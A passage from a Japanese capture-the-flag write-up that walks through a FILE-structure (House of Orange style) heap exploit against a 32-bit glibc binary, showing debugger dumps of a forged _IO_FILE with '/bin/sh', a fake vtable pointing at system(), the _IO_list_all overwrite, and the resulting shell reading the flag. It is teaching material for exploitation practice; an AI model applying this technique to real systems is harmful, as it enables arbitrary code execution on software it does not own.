0x56d5e0a0:     0x00000000      0x00000000      0x56d5e060      0x00000000
0x56d5e0b0:     0x00000000      0x0000000a      0x00000001      0x696d6f67
0x56d5e0c0:     0x00000000      0x00000000      0x00000000      0x00000000
0x56d5e0d0:     0x00000000      0x00000000      0x00000000      0x00000000
0x56d5e0e0:     0x00000000      0x56d5e0f8      0x00000000      0x00000000
```

```shell-session:0x56d5e050に、system()の引数となる文字列(/bin/sh)を書き込んだ
pwndbg> hexdump 0x56d5e050
+0000 0x56d5e050  2f 62 69 6e  2f 73 68 00  00 00 00 00  00 00 00 00  │/bin│/sh.│....│....│
```

```python
pwndbg> p *(struct _IO_FILE_plus *)0x56d5e050
$5 = {
  file = {
    _flags = 1852400175, 
    _IO_read_ptr = 0x68732f <error: Cannot access memory at address 0x68732f>, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x1 <error: Cannot access memory at address 0x1>, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0xa <error: Cannot access memory at address 0xa>, 
    _IO_save_end = 0x1 <error: Cannot access memory at address 0x1>, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0, 
    _flags2 = 0, 
    _old_offset = 10, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "", 
    _lock = 0x0, 
    _offset = 0, 
    _codecvt = 0x0, 
    _wide_data = 0x56d5e060, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 10, 
    _mode = 1, 
    _unused2 = "gomi", '\000' <repeats 35 times>
  }, 
  vtable = 0x56d5e0f8
}
```

`3.` `fake_struc`がポイントする`vtable(_IO_jump_t構造体)`として、`_IO_OVERFLOW`にあたる部分に`system()`のlibc上アドレスが書き込まれた領域をヒープ領域に作成する(他の部分は適当)。

```shell-session:0x56d5e104にsystem()のアドレスを書き込んだ
pwndbg> x/72x 0x56d5e000
0x56d5e000:     0x00000000      0x00000261      0x00000041      0x00000000
0x56d5e010:     0x00000000      0x00000000      0x00000000      0x4c616161
0x56d5e020:     0x2e566420      0x73243725      0xa000000a      0x00f7f0b5
0x56d5e030:     0x00000000      0x00f7f0b0      0x98f7f0b0      0x00000a32
0x56d5e040:     0x00000001      0x00000000      0x00000000      0x00000000
0x56d5e050:     0x6e69622f      0x0068732f      0x00000000      0x00000000
0x56d5e060:     0x00000000      0x00000000      0x00000000      0x00000000
0x56d5e070:     0x00000001      0x00000000      0x0000000a      0x00000001
0x56d5e080:     0x00000000      0x00000000      0x00000000      0x00000000
0x56d5e090:     0x0000000a      0x00000000      0x00000000      0x00000000
0x56d5e0a0:     0x00000000      0x00000000      0x56d5e060      0x00000000
0x56d5e0b0:     0x00000000      0x0000000a      0x00000001      0x696d6f67
0x56d5e0c0:     0x00000000      0x00000000      0x00000000      0x00000000
0x56d5e0d0:     0x00000000      0x00000000      0x00000000      0x00000000
0x56d5e0e0:     0x00000000      0x56d5e0f8      0x00000000      0x00000000
0x56d5e0f0:     0x0000000a      0x00000001      0x00000000      0x00000000
0x56d5e100:     0x00000000      0xf7d93da0      0x0000000a      0x00000000
```

```shell-session:vtableの_IO_OVERFLOWの場所にsystem()のアドレス
pwndbg> telescope 0x56d5e0f8
00:0000│   0x56d5e0f8 ◂— 0x0
... ↓
03:000c│   0x56d5e104 —▸ 0xf7d93da0 (system) ◂— sub    esp, 0xc
04:0010│   0x56d5e108 ◂— 0xa /* '\n' */
05:0014│   0x56d5e10c ◂— 0x0
```

`4.` `_IO_list_all`のアドレスに`fake_struc`の先頭アドレスを書き込む。

```shell-session:書き込み前
pwndbg> telescope &_IO_list_all
00:0000│   0xf7f0bca0 (_IO_list_all) —▸ 0xf7f0bcc0 (_IO_2_1_stderr_) ◂— 0xfbad2087
01:0004│   0xf7f0bca4 ◂— 0x0
```

```shell-session:書き込み後
pwndbg> telescope &_IO_list_all
00:0000│   0xf7f0bca0 (_IO_list_all) —▸ 0x56d5e050 ◂— '/bin/sh'
01:0004│   0xf7f0bca4 ◂— 0x0
```

`5.` `Action: `にてメニュー選択肢にない文字を入力するとshellが起動する。

```shell-session:system()実行直前のレジスタ
 EAX  0x56d5e0f8 ◂— 0x0
 EBX  0x56d5e050 ◂— '/bin/sh'
 ECX  0x0
 EDX  0x56d5e060 ◂— 0x0
 EDI  0x0
 ESI  0xf7f0b000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 EBP  0x0
*ESP  0xff83a5d0 —▸ 0x56d5e050 ◂— '/bin/sh'
*EIP  0xf7dc49e4 (_IO_flush_all_lockp+324) ◂— call   dword ptr [eax + 0xc]
```

```nasm:system()実行直前部分
   0xf7dc49d5 <_IO_flush_all_lockp+309>    jbe    _IO_flush_all_lockp+347       <0xf7dc49fb>
 
   0xf7dc49d7 <_IO_flush_all_lockp+311>    sub    esp, 8
   0xf7dc49da <_IO_flush_all_lockp+314>    mov    eax, dword ptr [ebx + eax + 0x94]
   0xf7dc49e1 <_IO_flush_all_lockp+321>    push   -1
   0xf7dc49e3 <_IO_flush_all_lockp+323>    push   ebx
 ► 0xf7dc49e4 <_IO_flush_all_lockp+324>    call   dword ptr [eax + 0xc]         <0xf7d93da0>
 
   0xf7dc49e7 <_IO_flush_all_lockp+327>    add    esp, 0x10
   0xf7dc49ea <_IO_flush_all_lockp+330>    cmp    eax, -1
   0xf7dc49ed <_IO_flush_all_lockp+333>    mov    eax, 0xffffffff
   0xf7dc49f2 <_IO_flush_all_lockp+338>    cmovne eax, dword ptr [esp + 4]
   0xf7dc49f7 <_IO_flush_all_lockp+343>    mov    dword ptr [esp + 4], eax
```

```shell-session:system()実行直前のスタック
00:0000│ esp  0xff83a5d0 —▸ 0x56d5e050 ◂— '/bin/sh'
01:0004│      0xff83a5d4 ◂— 0xffffffff
02:0008│      0xff83a5d8 —▸ 0xf7f2a1b0 —▸ 0xf7d59000 ◂— jg     0xf7d59047
03:000c│      0xff83a5dc —▸ 0xf7f5453c (_rtld_global+1308) —▸ 0xf7f30000 ◂— jg     0xf7f30047
04:0010│      0xff83a5e0 —▸ 0xf7f544e4 (_rtld_global+1220) ◂— 0x0
05:0014│      0xff83a5e4 ◂— 0x0
06:0018│      0xff83a5e8 —▸ 0xf7d58700 ◂— 0xf7d58700
07:001c│      0xff83a5ec ◂— 0x0
```

```shell-session
[*] Switching to interactive mode
$ id
uid=30491 gid=30000(seczon) groups=30000(seczon)
$ ls
flag.txt
seczon
$ cat flag.txt
ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}
```

## 参照先
[1] [HITCON CTF Qual 2016 - House of Orange Write up (Pwning My Life )](http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html)
[2] [Play with FILE Structure - Yet Another Binary Exploit Technique (SlideShare)](https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique)
[3] [IO FILE 学习笔记 (Veritas501's Blog)](http://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/)